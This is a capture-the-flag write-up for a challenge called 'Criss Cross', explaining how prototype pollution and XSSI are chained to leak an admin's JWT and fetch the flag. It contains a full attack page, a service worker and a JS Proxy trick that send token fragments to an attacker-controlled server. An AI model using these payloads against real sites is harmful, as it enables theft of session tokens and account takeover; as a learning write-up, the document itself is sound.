Rating: 3.0

### Criss Cross writeup quick and dirty

Pollute prototype with request: https://vulnerableweb.site/debug?a[toString]&title[]=// .
Request will cause an exception on the server, which will execute following code:

```js
catch (e) {
// Print Error
let token = req.cookies.token || "";
let title = req.query.title || "Error";

return res.send(`${title} [${new Date().getTime()}] - <${e}>\n${token}`);
}
```

Example of value sent back from the server:

```js
// [1592170328979] - <TypeError: Cannot convert object to primitive value>
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZ3Vlc3QiLCJhZG1pbiI6ZmFsc2UsImlhdCI6MTU5MjE0NzcxNywiZXhwIjoxNjI4MTQ3NzE3fQ.WnJ-iC3HF9QtERkTVp22S1K5lI0gjLqIrR8N6YlZ28U
```

As we can see, this will return the jwt token. The returned token will be treated as javascript by the browser, which we will use in order to leak the token of the admin.

We will get the token by using XSSI with the help of the /report endpoint. For that, you have to use your own webserver. Assume my-server.com is your server. We will create following html document:

```html

<html>
<head>
<title>Page Title</title>
<script>
window.addEventListener('load', function() {
var sw = "http://my-server.com/sw.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "http://my-server.com/SW/success", true);
xhttp2.send();
const script = document.createElement('script');
script.src = "https://vulnerableweb.site/debug?a[toString]&title[]=//"
document.body.appendChild(script);
}, function (err) {
console.log('Service worker error:', err);
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "http://my-server.com/SW/error", true);
xhttp2.send();
});
});

const validator = {
get: function(obj, name) {
obj[name] = {};
fetch("http://my-server.com/token/"+name)
return new Proxy(obj[name], validator);
},
set: function(obj, name, value) {
console.log('test');
}
}

var eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 = new Proxy({}, validator);

</script>
</head>
<body>
Nice challenge
</body>
</html>
```

And the service worker (needed because debug endpoint is POST only):
```js

self.addEventListener('fetch', (event) => {
event.respondWith(async function() {
let resp;
if (event.request.url.includes('vulnerableweb')) {
resp = await fetch(event.request, {method: 'POST'});
}
else {
resp = await fetch(event.request);
}
return resp
}());
});
```

In a nutshell exploit works in the following way:
1. Visiting http://vulnerableweb.site/report?quote_url=https://my-server.com will result in the "admin" downloading our html file.
2. This will register the service worker and request the debug endpoint causing the exception and the admin token to be send back.
3. Due to CORS we cant directly read the token from the fetch response, but since the returned value is valid javascript and the first part of the jwt token is deterministic we can create an object and use the JS Proxy to leak the rest of the token. (This might take some tries, since the jwt token sometimes has a minus sign in it, which breaks the proxy leaking).
4. We send the leaked token parts to our server, where we can read them from the logs.
5. Use the deterministic part of the token + the two leaked ones to create the valid jwt token and request https://vulnerableweb.site/api/flag to obtain the flag.

Flag: flag{s0m3t!m35_jwt_c4n_b3_v4l!d_j4v45cr!pt}